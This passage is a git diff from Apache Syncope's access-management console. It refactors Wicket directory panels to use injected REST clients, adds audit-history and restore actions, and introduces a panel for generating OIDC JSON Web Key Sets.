org.apache.wicket.markup.repeater.Item; import org.apache.wicket.model.CompoundPropertyModel; import org.apache.wicket.model.IModel; +import org.apache.wicket.model.Model; import org.apache.wicket.model.ResourceModel; import org.apache.wicket.model.StringResourceModel; +import org.apache.wicket.spring.injection.annot.SpringBean; public class AttrRepoDirectoryPanel extends DirectoryPanel { private static final long serialVersionUID = 1005345990563741296L; - public AttrRepoDirectoryPanel(final String id, final PageReference pageRef) { - super(id, pageRef); + @SpringBean + protected AuditRestClient auditRestClient; + + protected final BaseModal historyModal; + + public AttrRepoDirectoryPanel(final String id, final AttrRepoRestClient restClient, final PageReference pageRef) { + super(id, restClient, pageRef); disableCheckBoxes(); - this.addNewItemPanelBuilder(new AttrRepoWizardBuilder(new AttrRepoTO(), pageRef), true); + this.addNewItemPanelBuilder(new AttrRepoWizardBuilder(new AttrRepoTO(), restClient, pageRef), true); MetaDataRoleAuthorizationStrategy.authorize(addAjaxLink, RENDER, AMEntitlement.ATTR_REPO_CREATE); modal.size(Modal.Size.Extra_large); initResultTable(); + + historyModal = new BaseModal<>(Constants.OUTER); + historyModal.size(Modal.Size.Large); + addOuterObject(historyModal); } @Override @@ -126,10 +143,49 @@ public ActionsPanel getActions(final IModel model) { @Override public void onClick(final AjaxRequestTarget target, final AttrRepoTO ignore) { send(AttrRepoDirectoryPanel.this, Broadcast.EXACT, new AjaxWizard.EditItemActionEvent<>( - AttrRepoRestClient.read(model.getObject().getKey()), target)); + restClient.read(model.getObject().getKey()), target)); } }, ActionLink.ActionType.EDIT, AMEntitlement.ATTR_REPO_UPDATE); + panel.add(new ActionLink<>() { + + private static final long serialVersionUID = -5432034353017728756L; + + @Override + public void onClick(final AjaxRequestTarget target, final AttrRepoTO ignore) { + model.setObject(restClient.read(model.getObject().getKey())); + + target.add(historyModal.setContent(new AuditHistoryModal<>( + AuditElements.EventCategoryType.LOGIC, + "AttrRepoLogic", + model.getObject(), + AMEntitlement.ATTR_REPO_UPDATE, + auditRestClient) { + + private static final long serialVersionUID = -3712506022627033822L; + + @Override + protected void restore(final String json, final AjaxRequestTarget target) { + try { + AttrRepoTO updated = MAPPER.readValue(json, AttrRepoTO.class); + restClient.update(updated); + + SyncopeConsoleSession.get().success(getString(Constants.OPERATION_SUCCEEDED)); + } catch (Exception e) { + LOG.error("While restoring AttrRepo {}", ((AttrRepoTO) model.getObject()).getKey(), e); + SyncopeConsoleSession.get().onException(e); + } + ((BasePage) pageRef.getPage()).getNotificationPanel().refresh(target); + } + })); + + historyModal.header(new Model<>(getString("auditHistory.title", new Model<>(model.getObject())))); + + historyModal.show(true); + } + }, ActionLink.ActionType.VIEW_AUDIT_HISTORY, String.format("%s,%s", AMEntitlement.ATTR_REPO_READ, + IdRepoEntitlement.AUDIT_LIST)); + panel.add(new ActionLink<>() { private static final long serialVersionUID = -3722207913631435501L; @@ -137,7 +193,7 @@ public void onClick(final AjaxRequestTarget target, final AttrRepoTO ignore) { @Override public void onClick(final AjaxRequestTarget target, final AttrRepoTO ignore) { try { - AttrRepoRestClient.delete(model.getObject().getKey()); + restClient.delete(model.getObject().getKey()); SyncopeConsoleSession.get().success(getString(Constants.OPERATION_SUCCEEDED)); target.add(container); @@ -152,7 +208,7 @@ public void onClick(final AjaxRequestTarget target, final AttrRepoTO ignore) { return panel; } - protected static final class AttrRepoProvider extends DirectoryDataProvider { + protected final class AttrRepoProvider extends DirectoryDataProvider { private static final long serialVersionUID = -185944053385660794L; @@ -160,20 +216,19 @@ protected static final class AttrRepoProvider extends DirectoryDataProvider(this); } @Override public Iterator iterator(final long first, final long count) { - List result = AttrRepoRestClient.list(); - result.sort(comparator); - return result.subList((int) first, (int) first + (int) count).iterator(); + List attrRepos = restClient.list(); + attrRepos.sort(comparator); + return attrRepos.subList((int) first, (int) first + (int) count).iterator(); } @Override public long size() { - return AttrRepoRestClient.list().size(); + return restClient.list().size(); } @Override diff --git a/client/am/console/src/main/java/org/apache/syncope/client/console/panels/AuthModuleDirectoryPanel.java b/client/am/console/src/main/java/org/apache/syncope/client/console/panels/AuthModuleDirectoryPanel.java index a196cbc3179..26569be550c 100644 --- a/client/am/console/src/main/java/org/apache/syncope/client/console/panels/AuthModuleDirectoryPanel.java +++ b/client/am/console/src/main/java/org/apache/syncope/client/console/panels/AuthModuleDirectoryPanel.java @@ -19,56 +19,77 @@ package org.apache.syncope.client.console.panels; import de.agilecoders.wicket.core.markup.html.bootstrap.dialog.Modal; +import java.io.Serializable; import java.util.ArrayList; import java.util.Collection; import java.util.Iterator; import java.util.List; import org.apache.commons.lang3.StringUtils; import org.apache.syncope.client.console.SyncopeConsoleSession; +import org.apache.syncope.client.console.audit.AuditHistoryModal; import org.apache.syncope.client.console.commons.AMConstants; +import org.apache.syncope.client.console.commons.DirectoryDataProvider; import org.apache.syncope.client.console.commons.SortableDataProviderComparator; +import org.apache.syncope.client.console.pages.BasePage; import org.apache.syncope.client.console.panels.AuthModuleDirectoryPanel.AuthModuleProvider; +import org.apache.syncope.client.console.rest.AuditRestClient; import org.apache.syncope.client.console.rest.AuthModuleRestClient; +import org.apache.syncope.client.console.wicket.markup.html.bootstrap.dialog.BaseModal; import org.apache.syncope.client.console.wicket.markup.html.form.ActionLink; import org.apache.syncope.client.console.wicket.markup.html.form.ActionsPanel; import org.apache.syncope.client.console.wizards.AuthModuleWizardBuilder; import org.apache.syncope.client.ui.commons.Constants; -import org.apache.syncope.client.ui.commons.DirectoryDataProvider; import org.apache.syncope.client.ui.commons.pages.BaseWebPage; import org.apache.syncope.client.ui.commons.wizards.AjaxWizard; import org.apache.syncope.common.lib.to.AuthModuleTO; import org.apache.syncope.common.lib.types.AMEntitlement; +import org.apache.syncope.common.lib.types.AuditElements; +import org.apache.syncope.common.lib.types.IdRepoEntitlement; import org.apache.wicket.PageReference; import org.apache.wicket.ajax.AjaxRequestTarget; import org.apache.wicket.authroles.authorization.strategies.role.metadata.MetaDataRoleAuthorizationStrategy; import org.apache.wicket.event.Broadcast; import org.apache.wicket.extensions.markup.html.repeater.data.grid.ICellPopulator; -import org.apache.wicket.extensions.markup.html.repeater.data.sort.SortOrder; import org.apache.wicket.extensions.markup.html.repeater.data.table.IColumn; import org.apache.wicket.extensions.markup.html.repeater.data.table.PropertyColumn; import org.apache.wicket.markup.html.basic.Label; import org.apache.wicket.markup.repeater.Item; import org.apache.wicket.model.CompoundPropertyModel; import org.apache.wicket.model.IModel; +import org.apache.wicket.model.Model; import org.apache.wicket.model.ResourceModel; import org.apache.wicket.model.StringResourceModel; +import org.apache.wicket.spring.injection.annot.SpringBean; public class AuthModuleDirectoryPanel extends DirectoryPanel { private static final long serialVersionUID = 1005345990563741296L; - public AuthModuleDirectoryPanel(final String id, final PageReference pageRef) { - super(id, pageRef); + @SpringBean + protected AuditRestClient auditRestClient; + + protected final BaseModal historyModal; + + public AuthModuleDirectoryPanel( + final String id, + final AuthModuleRestClient restClient, + final PageReference pageRef) { + + super(id, restClient, pageRef); disableCheckBoxes(); - this.addNewItemPanelBuilder(new AuthModuleWizardBuilder(new AuthModuleTO(), pageRef), true); + addNewItemPanelBuilder(new AuthModuleWizardBuilder(new AuthModuleTO(), restClient, pageRef), true); MetaDataRoleAuthorizationStrategy.authorize(addAjaxLink, RENDER, AMEntitlement.AUTH_MODULE_CREATE); modal.size(Modal.Size.Extra_large); initResultTable(); + + historyModal = new BaseModal<>(Constants.OUTER); + historyModal.size(Modal.Size.Large); + addOuterObject(historyModal); } @Override @@ -126,10 +147,49 @@ public ActionsPanel getActions(final IModel model) { @Override public void onClick(final AjaxRequestTarget target, final AuthModuleTO ignore) { send(AuthModuleDirectoryPanel.this, Broadcast.EXACT, new AjaxWizard.EditItemActionEvent<>( - AuthModuleRestClient.read(model.getObject().getKey()), target)); + restClient.read(model.getObject().getKey()), target)); } }, ActionLink.ActionType.EDIT, AMEntitlement.AUTH_MODULE_UPDATE); + panel.add(new ActionLink<>() { + + private static final long serialVersionUID = -5432034353017728756L; + + @Override + public void onClick(final AjaxRequestTarget target, final AuthModuleTO ignore) { + model.setObject(restClient.read(model.getObject().getKey())); + + target.add(historyModal.setContent(new AuditHistoryModal<>( + AuditElements.EventCategoryType.LOGIC, + "AuthModuleLogic", + model.getObject(), + AMEntitlement.AUTH_MODULE_UPDATE, + auditRestClient) { + + private static final long serialVersionUID = -3712506022627033822L; + + @Override + protected void restore(final String json, final AjaxRequestTarget target) { + try { + AuthModuleTO updated = MAPPER.readValue(json, AuthModuleTO.class); + restClient.update(updated); + + SyncopeConsoleSession.get().success(getString(Constants.OPERATION_SUCCEEDED)); + } catch (Exception e) { + LOG.error("While restoring AuthModule {}", model.getObject().getKey(), e); + SyncopeConsoleSession.get().onException(e); + } + ((BasePage) pageRef.getPage()).getNotificationPanel().refresh(target); + } + })); + + historyModal.header(new Model<>(getString("auditHistory.title", new Model<>(model.getObject())))); + + historyModal.show(true); + } + }, ActionLink.ActionType.VIEW_AUDIT_HISTORY, String.format("%s,%s", AMEntitlement.AUTH_MODULE_READ, + IdRepoEntitlement.AUDIT_LIST)); + panel.add(new ActionLink<>() { private static final long serialVersionUID = -3722207913631435501L; @@ -137,7 +197,7 @@ public void onClick(final AjaxRequestTarget target, final AuthModuleTO ignore) { @Override public void onClick(final AjaxRequestTarget target, final AuthModuleTO ignore) { try { - AuthModuleRestClient.delete(model.getObject().getKey()); + restClient.delete(model.getObject().getKey()); SyncopeConsoleSession.get().success(getString(Constants.OPERATION_SUCCEEDED)); target.add(container); @@ -152,7 +212,7 @@ public void onClick(final AjaxRequestTarget target, final AuthModuleTO ignore) { return panel; } - protected static final class AuthModuleProvider extends DirectoryDataProvider { + protected final class AuthModuleProvider extends DirectoryDataProvider { private static final long serialVersionUID = -185944053385660794L; @@ -160,20 +220,19 @@ protected static final class AuthModuleProvider extends DirectoryDataProvider(this); } @Override public Iterator iterator(final long first, final long count) { - List result = AuthModuleRestClient.list(); - result.sort(comparator); - return result.subList((int) first, (int) first + (int) count).iterator(); + List authModules = restClient.list(); + authModules.sort(comparator); + return authModules.subList((int) first, (int) first + (int) count).iterator(); } @Override public long size() { - return AuthModuleRestClient.list().size(); + return restClient.list().size(); } @Override diff --git a/client/am/console/src/main/java/org/apache/syncope/client/console/panels/OIDC.java b/client/am/console/src/main/java/org/apache/syncope/client/console/panels/OIDC.java index e87a53f35bb..e439c263174 100644 --- a/client/am/console/src/main/java/org/apache/syncope/client/console/panels/OIDC.java +++ b/client/am/console/src/main/java/org/apache/syncope/client/console/panels/OIDC.java @@ -24,6 +24,7 @@ import java.util.concurrent.atomic.AtomicReference; import org.apache.syncope.client.console.SyncopeConsoleSession; import org.apache.syncope.client.console.rest.OIDCJWKSRestClient; +import org.apache.syncope.client.console.rest.WAConfigRestClient; import org.apache.syncope.client.console.wicket.markup.html.bootstrap.dialog.BaseModal; import org.apache.syncope.client.console.wicket.markup.html.form.JsonEditorPanel; import org.apache.syncope.client.ui.commons.Constants; @@ -39,6 +40,7 @@ import org.apache.wicket.markup.html.link.ExternalLink; import org.apache.wicket.markup.html.panel.Panel; import org.apache.wicket.model.Model; +import org.apache.wicket.spring.injection.annot.SpringBean; import org.slf4j.Logger; import org.slf4j.LoggerFactory; @@ -48,9 +50,17 @@ public class OIDC extends Panel { private static final Logger LOG = LoggerFactory.getLogger(OIDC.class); - private static final JsonMapper MAPPER = JsonMapper.builder().findAndAddModules().build(); + protected static final JsonMapper MAPPER = JsonMapper.builder().findAndAddModules().build(); - private final BaseModal viewModal = new BaseModal<>("viewModal") { + @SpringBean + protected OIDCJWKSRestClient oidcJWKSRestClient; + + @SpringBean + protected WAConfigRestClient waConfigRestClient; + + protected final BaseModal generateModal = new BaseModal<>("generateModal"); + + protected final BaseModal viewModal = new BaseModal<>("viewModal") { private static final long serialVersionUID = 389935548143327858L; @@ -61,24 +71,24 @@ protected void onConfigure() { } }; - private final AjaxLink view; + protected final AjaxLink view; - private final AjaxLink generate; + protected final AjaxLink generate; - private final AjaxLink delete; + protected final AjaxLink delete; public OIDC(final String id, final String waPrefix, final PageReference pageRef) { super(id); setOutputMarkupId(true); - add(viewModal); - viewModal.size(Modal.Size.Extra_large); - viewModal.setWindowClosedCallback(target -> viewModal.show(false)); - WebMarkupContainer container = new WebMarkupContainer("container"); add(container.setOutputMarkupId(true)); - AtomicReference oidcjwksto = OIDCJWKSRestClient.get(); + AtomicReference oidcjwksto = oidcJWKSRestClient.get(); + + add(viewModal); + viewModal.size(Modal.Size.Extra_large); + viewModal.setWindowClosedCallback(target -> viewModal.show(false)); view = new AjaxLink<>("view") { @@ -119,18 +129,10 @@ protected void onComponentTag(final ComponentTag tag) { @Override public void onClick(final AjaxRequestTarget target) { - try { - oidcjwksto.set(OIDCJWKSRestClient.generate()); - generate.setEnabled(false); - view.setEnabled(true); - - SyncopeConsoleSession.get().success(getString(Constants.OPERATION_SUCCEEDED)); - target.add(container); - } catch (Exception e) { - LOG.error("While generating OIDC JWKS", e); - SyncopeConsoleSession.get().onException(e); - } - ((BaseWebPage) pageRef.getPage()).getNotificationPanel().refresh(target); + generateModal.header(Model.of("Generate JSON Web Key Sets")); + target.add(generateModal.setContent(new OIDCJWKSGenerationPanel( + oidcJWKSRestClient, waConfigRestClient, generateModal, pageRef))); + generateModal.show(true); } @Override @@ -153,7 +155,7 @@ protected void onComponentTag(final ComponentTag tag) { @Override public void onClick(final AjaxRequestTarget target) { try { - OIDCJWKSRestClient.delete(); + oidcJWKSRestClient.delete(); oidcjwksto.set(null); generate.setEnabled(true); view.setEnabled(false); @@ -180,6 +182,17 @@ protected void onComponentTag(final ComponentTag tag) { container.add(delete.setOutputMarkupId(true)); MetaDataRoleAuthorizationStrategy.authorize(delete, ENABLE, AMEntitlement.OIDC_JWKS_DELETE); + generateModal.addSubmitButton(); + add(generateModal); + generateModal.setWindowClosedCallback(target -> { + oidcjwksto.set(oidcJWKSRestClient.get().get()); + view.setEnabled(oidcjwksto.get() != null); + delete.setEnabled(oidcjwksto.get() != null); + + target.add(container); + generateModal.show(false); + }); + String wellKnownURI = waPrefix + "/oidc/.well-known/openid-configuration"; container.add(new ExternalLink("wellKnownURI", wellKnownURI, wellKnownURI)); } diff --git a/client/am/console/src/main/java/org/apache/syncope/client/console/panels/OIDCJWKSGenerationPanel.java b/client/am/console/src/main/java/org/apache/syncope/client/console/panels/OIDCJWKSGenerationPanel.java new file mode 100644 index 00000000000..ae57f86be67 --- /dev/null +++ b/client/am/console/src/main/java/org/apache/syncope/client/console/panels/OIDCJWKSGenerationPanel.java @@ -0,0 +1,117 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.client.console.panels; + +import java.util.List; +import org.apache.syncope.client.console.SyncopeConsoleSession; +import org.apache.syncope.client.console.rest.OIDCJWKSRestClient; +import org.apache.syncope.client.console.rest.WAConfigRestClient; +import org.apache.syncope.client.console.wicket.ajax.form.IndicatorAjaxEventBehavior; +import org.apache.syncope.client.console.wicket.markup.html.bootstrap.dialog.BaseModal; +import org.apache.syncope.client.ui.commons.Constants; +import org.apache.syncope.client.ui.commons.markup.html.form.AjaxDropDownChoicePanel; +import org.apache.syncope.client.ui.commons.markup.html.form.AjaxNumberFieldPanel; +import org.apache.syncope.client.ui.commons.markup.html.form.AjaxTextFieldPanel; +import org.apache.syncope.client.ui.commons.pages.BaseWebPage; +import org.apache.syncope.common.lib.SyncopeClientException; +import org.apache.syncope.common.lib.to.OIDCJWKSTO; +import org.apache.wicket.PageReference; +import org.apache.wicket.ajax.AjaxRequestTarget; +import org.apache.wicket.model.Model; + +public class OIDCJWKSGenerationPanel extends AbstractModalPanel { + + private static final long serialVersionUID = -3372006007594607067L; + + protected final OIDCJWKSRestClient oidcJWKSRestClient; + + protected final Model jwksKeyIdM; + + protected final Model jwksTypeM; + + protected final Model jwksKeySizeM; + + public OIDCJWKSGenerationPanel( + final OIDCJWKSRestClient oidcJWKSRestClient, + final WAConfigRestClient waConfigRestClient, + final BaseModal modal, + final PageReference pageRef) { + + super(modal, pageRef); + this.oidcJWKSRestClient = oidcJWKSRestClient; + + jwksKeyIdM = Model.of("syncope"); + try { + jwksKeyIdM.setObject(waConfigRestClient.get("cas.authn.oidc.jwks.core.jwks-key-id").getValues().get(0)); + } catch (SyncopeClientException e) { + LOG.error("While reading cas.authn.oidc.jwks.core.jwks-key-id", e); + } + add(new AjaxTextFieldPanel("jwksKeyId", "jwksKeyId", jwksKeyIdM).setRequired(true)); + + jwksTypeM = Model.of("rsa"); + try { + jwksTypeM.setObject(waConfigRestClient.get("cas.authn.oidc.jwks.core.jwks-type").getValues().get(0)); + } catch (SyncopeClientException e) { + LOG.error("While reading cas.authn.oidc.jwks.core.jwks-type", e); + } + AjaxDropDownChoicePanel jwksType = new AjaxDropDownChoicePanel<>("jwksType", "jwksType", jwksTypeM). + setChoices(List.of("rsa", "ec")); + add(jwksType.setRequired(true)); + + jwksKeySizeM = Model.of(2048); + try { + jwksKeySizeM.setObject(Integer.valueOf( + waConfigRestClient.get("cas.authn.oidc.jwks.core.jwks-key-size").getValues().get(0))); + } catch (SyncopeClientException e) { + LOG.error("While reading cas.authn.oidc.jwks.core.jwks-key-size", e); + } + AjaxNumberFieldPanel jwksKeySize = new AjaxNumberFieldPanel.Builder().step(128). + build("jwksKeySize", "jwksKeySize", Integer.class, jwksKeySizeM); + add(jwksKeySize.setRequired(true)); + + jwksType.add(new IndicatorAjaxEventBehavior(Constants.ON_CHANGE) { + + private static final long serialVersionUID = -4255753643957306394L; + + @Override + protected void onEvent(final AjaxRequestTarget target) { + if ("ec".equals(jwksTypeM.getObject())) { + jwksKeySizeM.setObject(256); + } else { + jwksKeySizeM.setObject(2048); + } + target.add(jwksKeySize); + } + }); + } + + @Override + public void onSubmit(final AjaxRequestTarget target) { + try { + oidcJWKSRestClient.generate(jwksKeyIdM.getObject(), jwksTypeM.getObject(), jwksKeySizeM.getObject()); + + SyncopeConsoleSession.get().success(getString(Constants.OPERATION_SUCCEEDED)); + modal.close(target); + } catch (Exception e) { + LOG.error("While generating OIDC JWKS", e); + SyncopeConsoleSession.get().onException(e); + } + ((BaseWebPage) pageRef.getPage()).getNotificationPanel().refresh(target); + } +} diff --git a/client/am/console/src/main/java/org/apache/syncope/client/console/panels/SAML2.java b/client/am/console/src/main/java/org/apache/syncope/client/console/panels/SAML2.java index 1082d5e96c1..04fa7d2c50a 100644 --- a/client/am/console/src/main/java/org/apache/syncope/client/console/panels/SAML2.java +++ b/client/am/console/src/main/java/org/apache/syncope/client/console/panels/SAML2.java @@ -22,6 +22,8 @@ import java.util.ArrayList; import java.util.List; import org.apache.syncope.client.console.SyncopeConsoleSession; +import org.apache.syncope.client.console.rest.SAML2IdPEntityRestClient; +import org.apache.syncope.client.console.rest.SAML2SPEntityRestClient; import org.apache.syncope.common.lib.SyncopeConstants; import org.apache.syncope.common.lib.types.AMEntitlement; import org.apache.wicket.PageReference; @@ -29,10 +31,17 @@ import org.apache.wicket.extensions.markup.html.tabs.ITab; import org.apache.wicket.markup.html.panel.Panel; import org.apache.wicket.model.Model; +import org.apache.wicket.spring.injection.annot.SpringBean; public class SAML2 extends Panel { - private static final long serialVersionUID = 1L; + private static final long serialVersionUID = 7093557205333650002L; + + @SpringBean + protected SAML2IdPEntityRestClient saml2IdPEntityRestClient; + + @SpringBean + protected SAML2SPEntityRestClient saml2SPEntityRestClient; public SAML2(final String id, final String waPrefix, final PageReference pageRef) { super(id); @@ -40,7 +49,7 @@ public SAML2(final String id, final String waPrefix, final PageReference pageRef add(new AjaxBootstrapTabbedPanel<>("saml2", buildTabList(waPrefix, pageRef))); } - private List buildTabList(final String waPrefix, final PageReference pageRef) { + protected List buildTabList(final String waPrefix, final PageReference pageRef) { List tabs = new ArrayList<>(); if (SyncopeConsoleSession.get().owns(AMEntitlement.SAML2_IDP_ENTITY_LIST, SyncopeConstants.ROOT_REALM)) { @@ -50,7 +59,7 @@ private List buildTabList(final String waPrefix, final PageReference pageR @Override public Panel getPanel(final String panelId) { - return new SAML2IdPEntityDirectoryPanel(panelId, waPrefix, pageRef); + return new SAML2IdPEntityDirectoryPanel(panelId, saml2IdPEntityRestClient, waPrefix, pageRef); } }); } @@ -62,7 +71,7 @@ public Panel getPanel(final String panelId) { @Override public Panel getPanel(final String panelId) { - return new SAML2SPEntityDirectoryPanel(panelId, waPrefix, pageRef); + return new SAML2SPEntityDirectoryPanel(panelId, saml2SPEntityRestClient, waPrefix, pageRef); } }); } diff --git a/client/am/console/src/main/java/org/apache/syncope/client/console/panels/SAML2IdPEntityDirectoryPanel.java b/client/am/console/src/main/java/org/apache/syncope/client/console/panels/SAML2IdPEntityDirectoryPanel.java index 9523053a71a..52244a75a23 100644 --- a/client/am/console/src/main/java/org/apache/syncope/client/console/panels/SAML2IdPEntityDirectoryPanel.java +++ b/client/am/console/src/main/java/org/apache/syncope/client/console/panels/SAML2IdPEntityDirectoryPanel.java @@ -24,6 +24,7 @@ import java.util.Iterator; import java.util.List; import org.apache.syncope.client.console.commons.AMConstants; +import org.apache.syncope.client.console.commons.DirectoryDataProvider; import org.apache.syncope.client.console.commons.SortableDataProviderComparator; import org.apache.syncope.client.console.panels.SAML2IdPEntityDirectoryPanel.SAML2IdPEntityProvider; import org.apache.syncope.client.console.rest.SAML2IdPEntityRestClient; @@ -31,7 +32,6 @@ import org.apache.syncope.client.console.wicket.markup.html.form.ActionsPanel; import org.apache.syncope.client.console.wizards.SAML2IdPEntityWizardBuilder; import org.apache.syncope.client.ui.commons.Constants; -import org.apache.syncope.client.ui.commons.DirectoryDataProvider; import org.apache.syncope.client.ui.commons.wizards.AjaxWizard; import org.apache.syncope.common.lib.to.SAML2IdPEntityTO; import org.apache.syncope.common.lib.types.AMEntitlement; @@ -39,7 +39,6 @@ import org.apache.wicket.ajax.AjaxRequestTarget; import org.apache.wicket.event.Broadcast; import org.apache.wicket.extensions.markup.html.repeater.data.grid.ICellPopulator; -import org.apache.wicket.extensions.markup.html.repeater.data.sort.SortOrder; import org.apache.wicket.extensions.markup.html.repeater.data.table.AbstractColumn; import org.apache.wicket.extensions.markup.html.repeater.data.table.IColumn; import org.apache.wicket.extensions.markup.html.repeater.data.table.PropertyColumn; @@ -54,25 +53,26 @@ public class SAML2IdPEntityDirectoryPanel extends DirectoryPanel< SAML2IdPEntityTO, SAML2IdPEntityTO, SAML2IdPEntityProvider, SAML2IdPEntityRestClient> { - private static final long serialVersionUID = 1L; + private static final long serialVersionUID = -6535332920023200166L; private final String metadataURL; - public SAML2IdPEntityDirectoryPanel(final String id, final String waPrefix, final PageReference pageRef) { - super(id, pageRef); + public SAML2IdPEntityDirectoryPanel( + final String id, + final SAML2IdPEntityRestClient restClient, + final String waPrefix, + final PageReference pageRef) { + + super(id, restClient, pageRef); this.metadataURL = waPrefix + "/idp/metadata"; disableCheckBoxes(); modal.size(Modal.Size.Large); modal.addSubmitButton(); + setWindowClosedReloadCallback(modal, true); - modal.setWindowClosedCallback(target -> { - updateResultTable(target); - modal.show(false); - }); - - addNewItemPanelBuilder(new SAML2IdPEntityWizardBuilder(new SAML2IdPEntityTO(), pageRef), false); + addNewItemPanelBuilder(new SAML2IdPEntityWizardBuilder(new SAML2IdPEntityTO(), restClient, pageRef), false); initResultTable(); } @@ -86,16 +86,20 @@ protected List> getColumns() { Constants.KEY_FIELD_NAME, Constants.KEY_FIELD_NAME)); columns.add(new AbstractColumn<>(Model.of("URL")) { + private static final long serialVersionUID = -7226955670801277153L; + @Override public void populateItem( - final Item> cellItem, - final String componentId, - final IModel rowModel) { + final Item> cellItem, + final String componentId, + final IModel rowModel) { cellItem.add(new ExternalLink( - componentId, - Model.of(metadataURL), - Model.of(metadataURL)) { + componentId, + Model.of(metadataURL), + Model.of(metadataURL)) { + + private static final long serialVersionUID = -1919646533527005367L; @Override protected void onComponentTag(final ComponentTag tag) { @@ -125,8 +129,8 @@ protected ActionsPanel getActions(final IModel( - SAML2IdPEntityRestClient.get(model.getObject().getKey()), target)); + new AjaxWizard.EditItemActionEvent<>( + restClient.get(model.getObject().getKey()), target)); } }, ActionLink.ActionType.EDIT, AMEntitlement.SAML2_IDP_ENTITY_SET); @@ -148,7 +152,7 @@ protected String paginatorRowsKey() { return AMConstants.PREF_SAML2_IDP_ENTITY_PAGINATOR_ROWS; } - protected static final class SAML2IdPEntityProvider extends DirectoryDataProvider { + protected final class SAML2IdPEntityProvider extends DirectoryDataProvider { private static final long serialVersionUID = 5282134321828253058L; @@ -156,20 +160,19 @@ protected static final class SAML2IdPEntityProvider extends DirectoryDataProvide public SAML2IdPEntityProvider(final int paginatorRows) { super(paginatorRows); - setSort(Constants.KEY_FIELD_NAME, SortOrder.ASCENDING); comparator = new SortableDataProviderComparator<>(this); } @Override public Iterator iterator(final long first, final long count) { - List list = SAML2IdPEntityRestClient.list(); - list.sort(comparator); - return list.subList((int) first, (int) first + (int) count).iterator(); + List idps = restClient.list(); + idps.sort(comparator); + return idps.subList((int) first, (int) first + (int) count).iterator(); } @Override public long size() { - return SAML2IdPEntityRestClient.list().size(); + return restClient.list().size(); } @Override diff --git a/client/am/console/src/main/java/org/apache/syncope/client/console/panels/SAML2SPEntityDirectoryPanel.java b/client/am/console/src/main/java/org/apache/syncope/client/console/panels/SAML2SPEntityDirectoryPanel.java index ad2ffee7d95..10f99409127 100644 --- a/client/am/console/src/main/java/org/apache/syncope/client/console/panels/SAML2SPEntityDirectoryPanel.java +++ b/client/am/console/src/main/java/org/apache/syncope/client/console/panels/SAML2SPEntityDirectoryPanel.java @@ -25,6 +25,7 @@ import java.util.List; import org.apache.syncope.client.console.SyncopeConsoleSession; import org.apache.syncope.client.console.commons.AMConstants; +import org.apache.syncope.client.console.commons.DirectoryDataProvider; import org.apache.syncope.client.console.commons.SortableDataProviderComparator; import org.apache.syncope.client.console.panels.SAML2SPEntityDirectoryPanel.SAML2SPEntityProvider; import org.apache.syncope.client.console.rest.SAML2SPEntityRestClient; @@ -32,7 +33,6 @@ import org.apache.syncope.client.console.wicket.markup.html.form.ActionsPanel; import org.apache.syncope.client.console.wizards.SAML2SPEntityWizardBuilder; import org.apache.syncope.client.ui.commons.Constants; -import org.apache.syncope.client.ui.commons.DirectoryDataProvider; import org.apache.syncope.client.ui.commons.pages.BaseWebPage; import org.apache.syncope.client.ui.commons.wizards.AjaxWizard; import org.apache.syncope.common.lib.to.SAML2SPEntityTO; @@ -42,7 +42,6 @@ import org.apache.wicket.authroles.authorization.strategies.role.metadata.MetaDataRoleAuthorizationStrategy; import org.apache.wicket.event.Broadcast; import org.apache.wicket.extensions.markup.html.repeater.data.grid.ICellPopulator; -import org.apache.wicket.extensions.markup.html.repeater.data.sort.SortOrder; import org.apache.wicket.extensions.markup.html.repeater.data.table.AbstractColumn; import org.apache.wicket.extensions.markup.html.repeater.data.table.IColumn; import org.apache.wicket.extensions.markup.html.repeater.data.table.PropertyColumn; @@ -57,12 +56,17 @@ public class SAML2SPEntityDirectoryPanel extends DirectoryPanel< SAML2SPEntityTO, SAML2SPEntityTO, SAML2SPEntityProvider, SAML2SPEntityRestClient> { - private static final long serialVersionUID = 1L; + private static final long serialVersionUID = -3890622383545171017L; private final String waPrefix; - public SAML2SPEntityDirectoryPanel(final String id, final String waPrefix, final PageReference pageRef) { - super(id, pageRef); + public SAML2SPEntityDirectoryPanel( + final String id, + final SAML2SPEntityRestClient restClient, + final String waPrefix, + final PageReference pageRef) { + + super(id, restClient, pageRef); this.waPrefix = waPrefix; disableCheckBoxes(); @@ -75,7 +79,7 @@ public SAML2SPEntityDirectoryPanel(final String id, final String waPrefix, final modal.show(false); }); - addNewItemPanelBuilder(new SAML2SPEntityWizardBuilder(new SAML2SPEntityTO(), pageRef), true); + addNewItemPanelBuilder(new SAML2SPEntityWizardBuilder(new SAML2SPEntityTO(), restClient, pageRef), true); MetaDataRoleAuthorizationStrategy.authorize(addAjaxLink, RENDER, AMEntitlement.SAML2_SP_ENTITY_SET); @@ -92,17 +96,21 @@ protected List> getColumns() { columns.add(new AbstractColumn<>(Model.of("URL")) { + private static final long serialVersionUID = -7226955670801277153L; + @Override public void populateItem( - final Item> cellItem, - final String componentId, - final IModel rowModel) { + final Item> cellItem, + final String componentId, + final IModel rowModel) { String metadataURL = waPrefix + "/sp/" + rowModel.getObject().getKey() + "/metadata"; cellItem.add(new ExternalLink( - componentId, - Model.of(metadataURL), - Model.of(metadataURL)) { + componentId, + Model.of(metadataURL), + Model.of(metadataURL)) { + + private static final long serialVersionUID = -1919646533527005367L; @Override protected void onComponentTag(final ComponentTag tag) { @@ -132,8 +140,8 @@ protected ActionsPanel getActions(final IModel @Override public void onClick(final AjaxRequestTarget target, final SAML2SPEntityTO ignore) { send(SAML2SPEntityDirectoryPanel.this, Broadcast.EXACT, - new AjaxWizard.EditItemActionEvent<>( - SAML2SPEntityRestClient.get(model.getObject().getKey()), target)); + new AjaxWizard.EditItemActionEvent<>( + restClient.get(model.getObject().getKey()), target)); } }, ActionLink.ActionType.EDIT, AMEntitlement.SAML2_SP_ENTITY_SET); @@ -144,7 +152,7 @@ public void onClick(final AjaxRequestTarget target, final SAML2SPEntityTO ignore @Override public void onClick(final AjaxRequestTarget target, final 